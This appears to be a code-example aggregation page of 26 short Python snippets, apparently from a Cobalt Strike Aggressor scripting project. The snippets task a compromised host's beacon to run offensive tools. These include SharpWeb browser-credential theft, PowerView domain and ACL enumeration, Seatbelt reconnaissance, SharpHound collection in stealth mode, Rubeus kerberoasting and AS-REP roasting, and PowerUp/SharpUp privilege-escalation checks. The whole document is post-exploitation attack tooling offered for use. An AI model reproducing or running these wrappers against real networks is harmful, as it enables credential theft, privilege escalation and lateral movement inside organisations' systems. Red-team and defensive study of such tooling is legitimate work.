コード例 #1
0
def _(bid, out=None):
    args = ['all']

    # output file
    if out:
        args += ['-o', out]

    external.run(bid, 'sharpweb', args)
コード例 #2
0
def _(bid):
    temp = helpers.guess_temp(bid)

    # Forests and trusts:
    # Get-DomainTrustMapping
    # Get-ForestTrust
    # Get-DomainTrust

    # Parsing GPOs:
    # Get-GptTmpl
    # Get-GroupsXML

    # File shares:
    # Get-DomainFileServer
    # Get-DomainDFSShare

    # Get-DomainManagedSecurityGroup?

    # TODO remove subnet and site?
    # computer objects don't show up in Get-DomainObject for some reason
    command = helpers.code_string(r"""
        cd {}
        $FormatEnumerationLimit=-1
        Get-DomainObject | Format-List -Property * > objects.domain
        Get-DomainPolicyData | Format-List -Property * > policy.domain
        Get-DomainSite | Format-List -Property * > sites.domain
        Get-DomainSubnet | Format-List -Property * > subnets.domain
        Get-DomainGPOUserLocalGroupMapping | Format-List -Property * > gpo_localgroups.domain
        Get-GPODelegation | Format-List -Property * > gpo_delegations.domain
        Get-DomainGPO | %{{Get-ObjectACL -ResolveGUIDs -Name $_.Name}} > gpo_acls.domain
        Get-DomainTrustMapping | Format-List -Property * > trusts.domain
        Get-DomainManagedSecurityGroup | Format-List -Property * > managers.domain
        Invoke-ACLScanner -ResolveGUIDs > interesting_acls.domain
        echo "All finished with domain-enum. Run domain-enum-next."
        """.format(powershell_quote(temp)))

    aggressor.btask(
        bid, 'Tasked beacon to enumerate domain objects and info (stage 1/3)')
    external.run(bid, 'powerview', command)
コード例 #3
0
def _(bid, *args):
    external.run(bid, 'seatbelt', ['user'] + list(args))
コード例 #4
0
def _(bid, *args):
    external.run(bid, 'seatbelt', args)
コード例 #5
0
def _(bid, *args):
    external.run(bid, 'seatbelt', ['system'] + list(args))
コード例 #6
0
def _(bid, *args):
    external.run(bid, 'powerview',
                 'Invoke-FileFinder {}'.format(' '.join(args)))
コード例 #7
0
ファイル: powerview.py プロジェクト: 5l1v3r1/aggressor-1
 def callback(bid, *args, function=function):
     external.run(bid, 'powerview', '{} {}'.format(function,
                                                   ' '.join(args)))
コード例 #8
0
def _(bid):
    external.run(bid, 'seatbelt', 'Patches')
コード例 #9
0
ファイル: privesc.py プロジェクト: 5l1v3r1/aggressor-1
def _(bid, *args):
    external.run(
        bid, 'powerup',
        '$FormatEnumerationLimit=-1; Invoke-AllChecks | Format-List' +
        ' '.join(args))
コード例 #10
0
def _(bid, *args):
    external.run(bid, 'seatbelt', ['all', 'full'] + list(args))
コード例 #11
0
def _(bid):
    external.run(bid, 'seatbelt', ['BasicOSInfo', 'UserFolders', 'AntiVirusWMI', 'InterestingProcesses'])
コード例 #12
0
def _(bid, *args):
    external.run(bid, 'grouper', list(args))
コード例 #13
0
def _(bid):
    external.run(bid, 'seatbelt', ['AllTcpConnections', 'AllUdpConnections'])
コード例 #14
0
def _(bid, *args):
    external.run(bid, 'sharphound', ['--CollectionMethod', 'All'] + list(args))
コード例 #15
0
def _(bid, *args):
    external.run(bid, 'sharphound', ['--Stealth'] + list(args))
コード例 #16
0
def _(bid, *args):
    external.run(bid, 'sharphound', list(args))
コード例 #17
0
def _(bid, *args):
    external.run(
        bid, 'powerview',
        'Find-LocalAdminAccess {}; echo "Finished with Find-LocalAdminAccess"'.
        format(' '.join(args)))
コード例 #18
0
def _(bid, *args):
    external.run(
        bid, 'powerview',
        'Invoke-ShareFinder -CheckShareAccess {}'.format(' '.join(args)))
コード例 #19
0
def _(bid):
    external.run(bid, 'seatbelt', 'MappedDrives')
コード例 #20
0
def _(bid, *args):
    external.run(bid, 'rubeus', args)
コード例 #21
0
def _(bid):
    external.run(bid, 'seatbelt', ['BasicOSInfo', 'UACSystemPolicies', 'Patches', 'TokenGroupPrivs', 'LocalGroupMembers'])
コード例 #22
0
def _(bid, *args):
    external.run(bid, 'rubeus', ['kerberoast'] + args)
コード例 #23
0
ファイル: privesc.py プロジェクト: 5l1v3r1/aggressor-1
def _(bid, *args):
    external.run(bid, 'powerup',
                 '$FormatEnumerationLimit=-1; ' + ' '.join(args))
コード例 #24
0
def _(bid):
    external.run(bid, 'rubeus', ['kerberoast'])
    external.run(bid, 'rubeus', ['asreproast'])
コード例 #25
0
ファイル: privesc.py プロジェクト: 5l1v3r1/aggressor-1
def _(bid, *args):
    external.run(bid, 'sharpup', args)
コード例 #26
0
def _(bid, *args):
    external.run(bid, 'powerview', args)